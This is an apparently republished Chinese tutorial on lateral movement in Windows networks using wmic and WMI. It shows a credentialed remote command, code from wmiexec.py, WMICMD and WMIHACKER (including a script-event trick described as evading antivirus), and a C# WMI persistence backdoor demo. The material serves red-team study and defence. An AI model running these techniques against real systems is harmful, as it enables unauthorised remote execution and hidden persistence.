内网横向移动执行命令方法之 wmic 利用总结
2021-10-31 16:16:00 Author: mp.weixin.qq.com(查看原文) 阅读量:100 收藏

本文作者:Z1NG(信安之路核心作者)

内网中,由于大多数 Windows 系统自带 wmic 命令, 所以 WMIC 是内网横向的常用方法之一,使用 WMI 的前置要求是,目标端口开放 135 端口,且允许随机一个高位端口进行通信。这是由于 WMI 是先通过 135 端口建立连接,而后通过随机的高位端口进行数据传输。

直接使用系统自带的 WMIC 进行连接,执行命令是无回显的,常常需要将执行的返回结果写入文件,再通过文件读取的方式将回显带回来。

WMIC /Node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "cmd /c whoami > C:\Users\Test2019\AppData\Local\Temp\rs.log"

利用 net use 查看文件

net use \\192.168.159.130\c$type \\192.168.159.130\c$\Users\Test2019\AppData\Local\Temp\rs.log

常用工具

为了更方便的利用 WMIC,已有不少开源的利用工具,此处介绍一下三个比较有代表性的利用工具。

  1. wmiexec.py

  2. wmicmd

  3. WMIHACKER

wmiexec.py

首先是 impacket 工具包里的 wmiexec.py。提供了通过 wmi 执行命令并回显的功能。其原理较为简单:通过 wmi 执行命令,并将执行结果保存文件,通过 smb 读取返回结果。如下是 wmiexec.py 的一个片段,其中 __output 为输出的临时文件, __transferClient 为 smb 的连接。所以,该工具的使用条件是需要 445、135 和高位随机的一个端口都允许通信。

class RemoteShell(cmd.Cmd):    def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):        cmd.Cmd.__init__(self)        self.__share = share        self.__output = '\\' + OUTPUT_FILENAME        self.__outputBuffer = str('')        self.__shell = 'cmd.exe /Q /c '        self.__shell_type = shell_type        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '        self.__win32Process = win32Process        self.__transferClient = smbConnection        self.__silentCommand = silentCommand        self.__pwd = str('C:\\')        self.__noOutput = False        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'        # We don't wanna deal with timeouts from now on.        if self.__transferClient is not None:            self.__transferClient.setTimeout(100000)            self.do_cd('\\')        else:            self.__noOutput = True        # If the user wants to just execute a command without cmd.exe, set raw command and set no output        if self.__silentCommand is True:            self.__shell = ''

wmiexec.py 还支持无回显的方式进行命令执行。这种方式是不会建立 SMB 连接,也就不需要 445 端口的开放。


parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output ' '(no SMB connection created)')

WMICMD

WMICMD 的实现原理和 wmiexec.py 有些出入。上面介绍了 WMICMD 之所以能得到回显的原因,是借助了 445 端口的 SMB 连接。而 WMICMD 能够做到不需要 445 端口就可以完成命令执行并回显。其原理是通过命令执行将执行结果写入注册表之中,再通过 WMI 对注册表进行操作,读取结果,这样一来就不需要 445 端口了。如下是 WMICMD 通过注册表获取执行结果回显的代码片段。

public string GetFilthyStdOut(string strKey)        {            StringBuilder strOut = new StringBuilder();            bool bSeenFinishedMarker = false;            Console.WriteLine("[i] Getting stdout from registry from " + strKey);            ManagementClass registry = new ManagementClass(this.Scope, new ManagementPath("StdRegProv"), null);            // Enumerate the values            ManagementBaseObject inParams = registry.GetMethodParameters("EnumValues");            inParams["sSubKeyName"] = strKey;            inParams["hDefKey"] = RegHive.HKEY_LOCAL_MACHINE;            ManagementNamedValueCollection objCtx = new ManagementNamedValueCollection();            objCtx.Add("__ProviderArchitecture", 64);            objCtx.Add("__RequiredArchitecture", true);            InvokeMethodOptions invokeOptions = new InvokeMethodOptions();            invokeOptions.Context = objCtx;            ManagementBaseObject outParams = registry.InvokeMethod("EnumValues", inParams, invokeOptions);            string[] strValues = outParams["sNames"] as string[];

WMIHACKER

WMIHACKER 也是通过将命令执行将执行结果写入到注册表,但不一样的地方是 wmiexe.py 和 wmicmd 是通过创建一个 win32Process 进程来执行命令,而 WMIHACKER 是使用事件触发器来调用 VB 代码,达到命令执行的效果。根据介绍,这种方式在当时可以绕过杀软。

如下是 WMIHACKER中AddSCHTASKWithres 函数的部分代码,可以看到,通过字符串的拼接组装构成了一个脚本代码,再利用了 ActiveScriptEventConsumer 在特定情况下会执行该脚本,避免使用了 Win32Process 来创建进程。

Function AddSCHTASKWithres(cmd,file)    Set temp = SubobjSWbemServices.Get("ActiveScriptEventConsumer")    Set asec = temp.spawninstance_    Dim Schedule_Name    Schedule_Name = genStr(6,12)    wscript.echo "WMIHACKER : The Schedule Name is " &Schedule_Name    asec.name="Windows COM Config Consumer"    Asec.scriptingengine="vbscript"    Asec.scripttext = "Const TriggerTypeDaily = 1 "&chr(10)&_    "Const ActionTypeExec = 0 "&chr(10)&_    "Set service = CreateObject(" &chr(34)&"Schedule.Service" &chr(34)&")"&chr(10)&_    "Call service.Connect"&chr(10)&_    "Dim rootFolder"&chr(10)&_    "Set rootFolder = service.GetFolder(" &chr(34)&"\" &chr(34)&")"&chr(10)&_    "Dim taskDefinition"&chr(10)&_    "Set taskDefinition = service.NewTask(0)"&chr(10)&_    "Dim regInfo"&chr(10)&_    "Set regInfo = taskDefinition.RegistrationInfo"&chr(10)&_    "regInfo.Description = " &chr(34)&"Update" &chr(34)&""&chr(10)&_    "regInfo.Author = " &chr(34)&"Microsoft" &chr(34)&""&chr(10)&_    "Dim settings"&chr(10)&_    "Set settings = taskDefinition.settings"&chr(10)&_    "settings.Enabled = True"&chr(10)&_    "settings.StartWhenAvailable = True"&chr(10)&_    "settings.Hidden = False"&chr(10)&_    "settings.DisallowStartIfOnBatteries = False"&chr(10)&_    "Dim triggers"&chr(10)&_    "Set triggers = taskDefinition.triggers"&chr(10)&_    "Dim trigger"&chr(10)&_    "Set trigger = triggers.Create(7)"&chr(10)&_    "Dim Action"&chr(10)&_    "Set Action = taskDefinition.Actions.Create(ActionTypeExec)"&chr(10)&_    "Action.Path = " &chr(34)&"c:\windows\system32\cmd.exe" &chr(34)&""&chr(10)&_    "Action.arguments = chr(34) & " &chr(34)&"/c "&cmd&" > "&file&"" &chr(34)&" & chr(34)"&chr(10)&_    "Dim objNet, LoginUser"&chr(10)&_    "Set objNet = CreateObject(" &chr(34)&"WScript.Network" &chr(34)&")"&chr(10)&_    "LoginUser = objNet.UserName"&chr(10)&_    "    If UCase(LoginUser) = " &chr(34)&"SYSTEM" &chr(34)&" Then"&chr(10)&_    "    Else"&chr(10)&_    "    LoginUser = Empty"&chr(10)&_    "    End If"&chr(10)&_    "Call rootFolder.RegisterTaskDefinition(" & chr(34) & Schedule_Name &chr(34)&", taskDefinition, 6, LoginUser, , 3)"&chr(10)&_    "Call rootFolder.DeleteTask(" &chr(34)& Schedule_Name &chr(34)&",0)"    set asecpath=asec.put_                                            Set temp = SubobjSWbemServices.Get("__EventFilter")    set evtflt = temp.spawninstance_    evtflt.name="Windows COM Config Filter"     evtflt.EventNameSpace="root\cimv2"                             qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"    evtflt.query=qstr                                                 evtflt.querylanguage="wql"                                        set fltpath=evtflt.put_                                           Set temp = SubobjSWbemServices.Get("__FilterToConsumerBinding")    set fcbnd = temp.spawninstance_    fcbnd.consumer=asecpath.path    fcbnd.filter=fltpath.path    fcbnd.put_    WScript.Sleep 2000 ' 2 sec    evtflt.delete_    asec.delete_    fcbnd.delete_    ReplacedFile = Replace(file,"\","\\")    strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)    Dim done    done = false    Do Until done        Wscript.Sleep 2000        Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)        For Each objItem in colItems            return = objItem.GetEffectivePermission(2)            If return Then                WScript.Echo "WMIHACKER : File Write Success. "                done = True            Else                WScript.Echo "WMIHACKER : COMMAND EXECTING... "            End If        Next    loop    wscript.echo "WMIHACKER : COMMAND EXEC SUCCESS, Wait to write in reg."End Function

WMI 后门

WMICHACK 中使用事件触发器来完成命令执行,不仅如此,我们可以借助使用触发器来创建一个后门,

WMI 后门创建组要分为三个部分,EventFilterEventConsumerFilterToConsumerBinding。个人理解EventFilter 是触发的条件,EventConsumer 是触发后所要执行的动作,FilterToConsumerBinding 则是将二者进行绑定。如下代码,是使用C#编写的一个后门 Demo,可以实现在固定间隔时间后执行特定程序,且由于WMI后门的特性,重启后仍然还在,比较隐蔽。

using System;using System.Collections.Generic;using System.Linq;using System.Management;using System.Text;using System.Threading;using System.Threading.Tasks;namespace WMICore{    public partial class WMICore    {        public string CreateEventFilter(string EventName,int time)        {            ManagementClass wmiEventFilter = new ManagementClass(this.scope, new ManagementPath("__EventFilter"), null);            String strQuery = @"SELECT * FROM __InstanceModificationEvent WITHIN "+time+" WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";            WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);            var myEventFilter = wmiEventFilter.CreateInstance();            myEventFilter["Name"] = EventName;            myEventFilter["Query"] = myEventQuery.QueryString;            myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;            myEventFilter["EventNameSpace"] = @"\root\cimv2";            myEventFilter.Put();            var eventPath = myEventFilter.Path.RelativePath;             Console.WriteLine("[*] Event filter created :" + eventPath);            return eventPath;        }        public string CreateEventConsumer(string name,string exePath) {            var myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();            myEventConsumer["Name"] = name;            myEventConsumer["CommandLineTemplate"] = exePath;            myEventConsumer["ExecutablePath"] = exePath;            myEventConsumer.Put();            var eventConsumerPath = myEventConsumer.Path.RelativePath;            Console.WriteLine("[*] Consumer filter created :" + eventConsumerPath);            return eventConsumerPath;        }        public void Binder(string myEventFilter,string myEventConsumer) {            var myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();            myBinder["Filter"] = myEventFilter;            myBinder["Consumer"] = myEventConsumer;            myBinder.Put();            Console.WriteLine("[*] Subscription created");        }    }}

参考链接

http://www.exploit-monday.com/2016/08/wmi-persistence-using-wmic.html

Study Notes of WMI Persistence using wmic.exe (3gstudent.github.io)


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247495873&idx=1&sn=251c806a220a139863f95bcb8397256d&chksm=ec1dc0e9db6a49ff68a9852a750ac4533c9223613d1016187e7d785a950586a79f4fc2de1366#rd
如有侵权请联系:admin#unsafe.sh